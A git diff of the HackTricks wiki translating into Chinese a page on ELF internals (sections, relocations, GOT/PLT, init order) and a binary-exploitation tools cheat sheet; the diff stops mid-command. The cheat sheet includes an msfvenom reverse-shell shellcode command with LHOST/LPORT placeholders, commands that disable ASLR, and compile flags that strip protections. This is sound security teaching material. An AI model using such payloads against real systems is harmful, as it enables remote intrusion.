LOAD, READONLY, DATA - 6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 - CONTENTS, ALLOC, LOAD, DATA - 19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 - CONTENTS, ALLOC, LOAD, DATA - 20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 - CONTENTS, ALLOC, LOAD, DATA - 21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 - CONTENTS, ALLOC, LOAD, DATA - 22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 - CONTENTS, ALLOC, LOAD, DATA - 23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 - ALLOC - 24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 - CONTENTS, READONLY - 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 - CONTENTS, READONLY +0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 +CONTENTS, ALLOC, LOAD, READONLY, DATA +1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 +CONTENTS, ALLOC, LOAD, READONLY, DATA +7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 +CONTENTS, ALLOC, LOAD, READONLY, DATA +8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 +CONTENTS, ALLOC, LOAD, READONLY, CODE +12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 +CONTENTS, ALLOC, LOAD, READONLY, CODE +13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 +CONTENTS, ALLOC, LOAD, READONLY, CODE +14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 +CONTENTS, ALLOC, LOAD, READONLY, CODE +15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 +CONTENTS, ALLOC, LOAD, DATA +19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 +CONTENTS, ALLOC, LOAD, DATA +20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 +CONTENTS, ALLOC, LOAD, DATA +21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 +CONTENTS, ALLOC, LOAD, DATA +22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 +CONTENTS, ALLOC, LOAD, DATA +23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 +ALLOC +24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 +CONTENTS, READONLY +25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 +CONTENTS, READONLY ``` +它还指示了位置、偏移量、权限以及该部分的**数据类型**。 -It also indicates the location, offset, permissions but also the **type of data** it section has. +### 元部分 -### Meta Sections +- **字符串表**:它包含 ELF 文件所需的所有字符串(但不包括程序实际使用的字符串)。例如,它包含像 `.text` 或 `.data` 这样的部分名称。如果 `.text` 在字符串表中的偏移量为 45,它将在 **name** 字段中使用数字 **45**。 +- 为了找到字符串表的位置,ELF 包含一个指向字符串表的指针。 +- **符号表**:它包含有关符号的信息,如名称(在字符串表中的偏移量)、地址、大小以及有关符号的更多元数据。 -- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field. - - In order to find where the string table is, the ELF contains a pointer to the string table. -- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol. +### 主要部分 -### Main Sections +- **`.text`**:要运行的程序指令。 +- **`.data`**:在程序中具有定义值的全局变量。 +- **`.bss`**:未初始化的全局变量(或初始化为零)。这里的变量会自动初始化为零,从而防止无用的零被添加到二进制文件中。 +- **`.rodata`**:常量全局变量(只读部分)。 +- **`.tdata`** 和 **`.tbss`**:与 .data 和 .bss 类似,当使用线程局部变量时(C++ 中的 `__thread_local` 或 C 中的 `__thread`)。 +- **`.dynamic`**:见下文。 -- **`.text`**: The instruction of the program to run. -- **`.data`**: Global variables with a defined value in the program. -- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary. -- **`.rodata`**: Constant global variables (read-only section). -- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C). -- **`.dynamic`**: See below. - -## Symbols - -Symbols is a named location in the program which could be a function, a global data object, thread-local variables... +## 符号 +符号是程序中的一个命名位置,可以是一个函数、一个全局数据对象、线程局部变量等。 ``` readelf -s lnstat Symbol table '.dynsym' contains 49 entries: - Num: Value Size Type Bind Vis Ndx Name - 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND - 1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init - 2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data - 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) - 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) - 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) - 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) - 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) - 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) - 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) - 10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] - 11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) - 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) - [...] +Num: Value Size Type Bind Vis Ndx Name +0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND +1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init +2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data +3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) +4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) +5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) +6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) +7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) +8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) +9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) +10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] +11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) +12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) +[...] ``` +每个符号条目包含: -Each symbol entry contains: - -- **Name** -- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one. -- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation) -- **Section** index where it's located -- **Value** (address sin memory) -- **Size** - -## Dynamic Section +- **名称** +- **绑定属性**(弱、局部或全局):局部符号只能被程序本身访问,而全局符号则在程序外部共享。弱对象例如是可以被不同函数覆盖的函数。 +- **类型**:NOTYPE(未指定类型)、OBJECT(全局数据变量)、FUNC(函数)、SECTION(节)、FILE(调试器的源代码文件)、TLS(线程局部变量)、GNU_IFUNC(用于重定位的间接函数) +- **节**索引位置 +- **值**(内存中的地址) +- **大小** +## 动态节 ``` readelf -d lnstat Dynamic section at offset 0xfc58 contains 28 entries: - Tag Type Name/Value - 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] - 0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] - 0x000000000000000c (INIT) 0x1088 - 0x000000000000000d (FINI) 0x2f74 - 0x0000000000000019 (INIT_ARRAY) 0x1fc48 - 0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) - 0x000000000000001a (FINI_ARRAY) 0x1fc50 - 0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) - 0x000000006ffffef5 (GNU_HASH) 0x338 - 0x0000000000000005 (STRTAB) 0x7f0 - 0x0000000000000006 (SYMTAB) 0x358 - 0x000000000000000a (STRSZ) 510 (bytes) - 0x000000000000000b (SYMENT) 24 (bytes) - 0x0000000000000015 (DEBUG) 0x0 - 0x0000000000000003 (PLTGOT) 0x1fe58 - 0x0000000000000002 (PLTRELSZ) 960 (bytes) - 0x0000000000000014 (PLTREL) RELA - 0x0000000000000017 (JMPREL) 0xcc8 - 0x0000000000000007 (RELA) 0xaa0 - 0x0000000000000008 (RELASZ) 552 (bytes) - 0x0000000000000009 (RELAENT) 24 (bytes) - 0x000000000000001e (FLAGS) BIND_NOW - 0x000000006ffffffb (FLAGS_1) Flags: NOW PIE - 0x000000006ffffffe (VERNEED) 0xa50 - 0x000000006fffffff (VERNEEDNUM) 2 - 0x000000006ffffff0 (VERSYM) 0x9ee - 0x000000006ffffff9 (RELACOUNT) 15 - 0x0000000000000000 (NULL) 0x0 +Tag Type Name/Value +0x0000000000000001 (NEEDED) Shared library: [libc.so.6] +0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] +0x000000000000000c (INIT) 0x1088 +0x000000000000000d (FINI) 0x2f74 +0x0000000000000019 (INIT_ARRAY) 0x1fc48 +0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) +0x000000000000001a (FINI_ARRAY) 0x1fc50 +0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) +0x000000006ffffef5 (GNU_HASH) 0x338 +0x0000000000000005 (STRTAB) 0x7f0 +0x0000000000000006 (SYMTAB) 0x358 +0x000000000000000a (STRSZ) 510 (bytes) +0x000000000000000b (SYMENT) 24 (bytes) +0x0000000000000015 (DEBUG) 0x0 +0x0000000000000003 (PLTGOT) 0x1fe58 +0x0000000000000002 (PLTRELSZ) 960 (bytes) +0x0000000000000014 (PLTREL) RELA +0x0000000000000017 (JMPREL) 0xcc8 +0x0000000000000007 (RELA) 0xaa0 +0x0000000000000008 (RELASZ) 552 (bytes) +0x0000000000000009 (RELAENT) 24 (bytes) +0x000000000000001e (FLAGS) BIND_NOW +0x000000006ffffffb (FLAGS_1) Flags: NOW PIE +0x000000006ffffffe (VERNEED) 0xa50 +0x000000006fffffff (VERNEEDNUM) 2 +0x000000006ffffff0 (VERSYM) 0x9ee +0x000000006ffffff9 (RELACOUNT) 15 +0x0000000000000000 (NULL) 0x0 ``` +NEEDED 目录指示程序 **需要加载提到的库** 以便继续。NEEDED 目录在共享 **库完全运行并准备好** 使用后完成。 -The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use. - -## Relocations - -The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ. +## 重定位 +加载器在加载依赖项后还必须进行重定位。这些重定位在重定位表中以 REL 或 RELA 格式指示,重定位的数量在动态部分 RELSZ 或 RELASZ 中给出。 ``` readelf -r lnstat Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: - Offset Info Type Sym. Value Sym. Name + Addend +Offset Info Type Sym. Value Sym. Name + Addend 00000001fc48 000000000403 R_AARCH64_RELATIV 1d10 00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0 00000001fff0 000000000403 R_AARCH64_RELATIV 1340 @@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: 00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0 Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: - Offset Info Type Sym. Value Sym. Name + Addend +Offset Info Type Sym. Value Sym. Name + Addend 00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0 00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0 00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0 @@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: 00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0 00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0 ``` +### 静态重定位 -### Static Relocations +如果**程序加载的位置不同**于首选地址(通常是0x400000),因为该地址已被使用或由于**ASLR**或其他原因,静态重定位**修正指针**,这些指针的值期望二进制文件加载在首选地址。 -If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address. +例如,任何类型为`R_AARCH64_RELATIV`的节应该在重定位偏移量加上附加值的基础上修改地址。 -For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value. +### 动态重定位和GOT -### Dynamic Relocations and GOT +重定位也可以引用外部符号(如依赖项中的函数)。例如,libC中的malloc函数。然后,加载器在加载libC时检查malloc函数加载的位置,它会将此地址写入GOT(全局偏移表)(在重定位表中指示)中,malloc的地址应该在此处指定。 -The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified. +### 过程链接表 -### Procedure Linkage Table +PLT节允许执行延迟绑定,这意味着函数位置的解析将在第一次访问时进行。 -The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed. +因此,当程序调用malloc时,它实际上调用的是PLT中`malloc`的相应位置(`malloc@plt`)。第一次调用时,它解析`malloc`的地址并存储,以便下次调用`malloc`时,使用该地址而不是PLT代码。 -So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code. - -## Program Initialization - -After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in: +## 程序初始化 +在程序加载后,是时候运行它了。然而,运行的第一段代码**并不总是`main`**函数。这是因为例如在C++中,如果**全局变量是一个类的对象**,则该对象必须在main运行**之前**进行**初始化**,如: ```cpp #include // g++ autoinit.cpp -o autoinit class AutoInit { - public: - AutoInit() { - printf("Hello AutoInit!\n"); - } - ~AutoInit() { - printf("Goodbye AutoInit!\n"); - } +public: +AutoInit() { +printf("Hello AutoInit!\n"); +} +~AutoInit() { +printf("Goodbye AutoInit!\n"); +} }; AutoInit autoInit; int main() { - printf("Main\n"); - return 0; +printf("Main\n"); +return 0; } ``` +请注意,这些全局变量位于 `.data` 或 `.bss` 中,但在 `__CTOR_LIST__` 和 `__DTOR_LIST__` 列表中,初始化和析构的对象被存储以便跟踪它们。 -Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them. - -From C code it's possible to obtain the same result using the GNU extensions : - +从 C 代码中,可以使用 GNU 扩展获得相同的结果: ```c __attributte__((constructor)) //Add a constructor to execute before __attributte__((destructor)) //Add to the destructor list ``` +从编译器的角度来看,为了在执行 `main` 函数之前和之后执行这些操作,可以创建一个 `init` 函数和一个 `fini` 函数,这些函数将在动态部分中被引用为 **`INIT`** 和 **`FIN`**,并被放置在 ELF 的 `init` 和 `fini` 部分。 -From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF. +另一个选项,如前所述,是在动态部分的 **`INIT_ARRAY`** 和 **`FINI_ARRAY`** 条目中引用列表 **`__CTOR_LIST__`** 和 **`__DTOR_LIST__`**,这些的长度由 **`INIT_ARRAYSZ`** 和 **`FINI_ARRAYSZ`** 指示。每个条目都是一个函数指针,将在没有参数的情况下被调用。 -The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments. +此外,还可以有一个 **`PREINIT_ARRAY`**,其中包含将在 **`INIT_ARRAY`** 指针之前执行的 **指针**。 -Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers. +### 初始化顺序 -### Initialization Order +1. 程序被加载到内存中,静态全局变量在 **`.data`** 中初始化,未初始化的变量在 **`.bss`** 中被置为零。 +2. 程序或库的所有 **依赖项** 被 **初始化**,并执行 **动态链接**。 +3. 执行 **`PREINIT_ARRAY`** 函数。 +4. 执行 **`INIT_ARRAY`** 函数。 +5. 如果有 **`INIT`** 条目,则调用它。 +6. 如果是库,dlopen 在这里结束;如果是程序,则是时候调用 **真实入口点**(`main` 函数)。 -1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**. -2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed. -3. **`PREINIT_ARRAY`** functions are executed. -4. **`INIT_ARRAY`** functions are executed. -5. If there is a **`INIT`** entry it's called. -6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function). +## 线程局部存储 (TLS) -## Thread-Local Storage (TLS) +它们在 C++ 中使用关键字 **`__thread_local`** 定义,或使用 GNU 扩展 **`__thread`**。 -They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**. +每个线程将为此变量维护一个唯一的位置,因此只有该线程可以访问其变量。 -Each thread will maintain a unique location for this variable so only the thread can access its variable. +使用此功能时,ELF 中将使用 **`.tdata`** 和 **`.tbss`** 部分。这些部分类似于 `.data`(已初始化)和 `.bss`(未初始化),但用于 TLS。 -When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS. +每个变量将在 TLS 头中有一个条目,指定大小和 TLS 偏移量,即它将在线程的本地数据区域中使用的偏移量。 -Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area. - -The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module. +`__TLS_MODULE_BASE` 是一个符号,用于引用线程局部存储的基地址,并指向内存中包含模块所有线程局部数据的区域。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index 70aa57cc5..50caffdcb 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -1,9 +1,8 @@ -# Exploiting Tools +# 利用工具 {{#include ../../../banners/hacktricks-training.md}} ## Metasploit - ```bash pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -11,31 +10,23 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` - ### Shellcodes - ```bash msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - ## GDB -### Install - +### 安装 ```bash apt-get install gdb ``` - -### Parameters - +### 参数 ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` - -### Instructions - +### 指令 ```bash run # Execute start # Start and break in main @@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` - ### [GEF](https://github.com/hugsy/gef) -You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions. - +您可以选择使用 [**这个 GE 的分支**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef),它包含更多有趣的说明。 ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: - rip = 0x400cd3; saved rip = 0x6261617762616176 - called by frame at 0x7fffffffddd8 - Arglist at 0x7fffffffdcf8, args: - Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 - Saved registers: - rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 +rip = 0x400cd3; saved rip = 0x6261617762616176 +called by frame at 0x7fffffffddd8 +Arglist at 0x7fffffffdcf8, args: +Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 +Saved registers: +rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` - ### Tricks -#### GDB same addresses +#### GDB 相同地址 -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +在调试时,GDB 的 **地址会与执行时二进制文件使用的地址略有不同。** 你可以通过以下方式使 GDB 拥有相同的地址: - `unset env LINES` - `unset env COLUMNS` -- `set env _=` _Put the absolute path to the binary_ -- Exploit the binary using the same absolute route -- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +- `set env _=` _放入二进制文件的绝对路径_ +- 使用相同的绝对路径利用二进制文件 +- 使用 GDB 和利用二进制文件时,`PWD` 和 `OLDPWD` 必须相同 -#### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +#### 回溯以查找调用的函数 +当你有一个 **静态链接的二进制文件** 时,所有函数都将属于该二进制文件(而不是外部库)。在这种情况下,**识别二进制文件请求用户输入的流程将会很困难。**\ +你可以通过 **运行** 二进制文件并 **gdb** 直到被要求输入来轻松识别这个流程。然后,使用 **CTRL+C** 停止它,并使用 **`bt`** (**回溯**)命令查看调用的函数: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -154,87 +141,80 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` +### GDB 服务器 -### GDB server - -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947`(在 IDA 中,您必须填写 Linux 机器上可执行文件的绝对路径,在 Windows 机器上也是如此) ## Ghidra -### Find stack offset +### 查找栈偏移 -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ -&#xNAN;_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ +**Ghidra** 非常有用,可以找到 **缓冲区溢出的偏移量,感谢有关局部变量位置的信息。**\ +例如,在下面的示例中,`local_bc` 中的缓冲区流表示您需要 `0xbc` 的偏移量。此外,如果 `local_10` 是一个金丝雀 cookie,则表示要从 `local_bc` 覆盖它需要 `0xac` 的偏移量。\ +&#xNAN;_R请记住,保存 RIP 的前 0x08 属于 RBP。_ ![](<../../../images/image (1061).png>) ## qtool - ```bash qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ``` - -Get every opcode executed in the program. +获取程序中执行的每个操作码。 ## GCC -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ -&#xNAN;**-o** --> Output\ -&#xNAN;**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux +**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 在没有保护的情况下编译\ +&#xNAN;**-o** --> 输出\ +&#xNAN;**-g** --> 保存代码(GDB 将能够看到它)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> 在 Linux 中停用 ASLR -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**编译 shellcode:**\ +**nasm -f elf assembly.asm** --> 返回一个 ".o"\ +**ld assembly.o -o shellcodeout** --> 可执行文件 ## Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -&#xNAN;**-Mintel** --> **Intel** syntax\ -&#xNAN;**-t** --> **Symbols** table\ -&#xNAN;**-D** --> **Disassemble all** (address of static variable)\ -&#xNAN;**-s -j .dtors** --> dtors section\ -&#xNAN;**-s -j .got** --> got section\ --D -s -j .plt --> **plt** section **decompiled**\ -&#xNAN;**-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). +**-d** --> **反汇编可执行**部分(查看编译的 shellcode 的操作码,查找 ROP Gadgets,查找函数地址...)\ +&#xNAN;**-Mintel** --> **Intel** 语法\ +&#xNAN;**-t** --> **符号**表\ +&#xNAN;**-D** --> **反汇编所有**(静态变量的地址)\ +&#xNAN;**-s -j .dtors** --> dtors 部分\ +&#xNAN;**-s -j .got** --> got 部分\ +-D -s -j .plt --> **plt** 部分 **反编译**\ +&#xNAN;**-TR** --> **重定位**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> 要在 GOT 中修改的 "puts" 的地址\ +**objdump -D ./exec | grep "VAR_NAME"** --> 静态变量的地址(这些存储在 DATA 部分)。 ## Core dumps -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` +1. 在启动我的程序之前运行 `ulimit -c unlimited` +2. 运行 `sudo 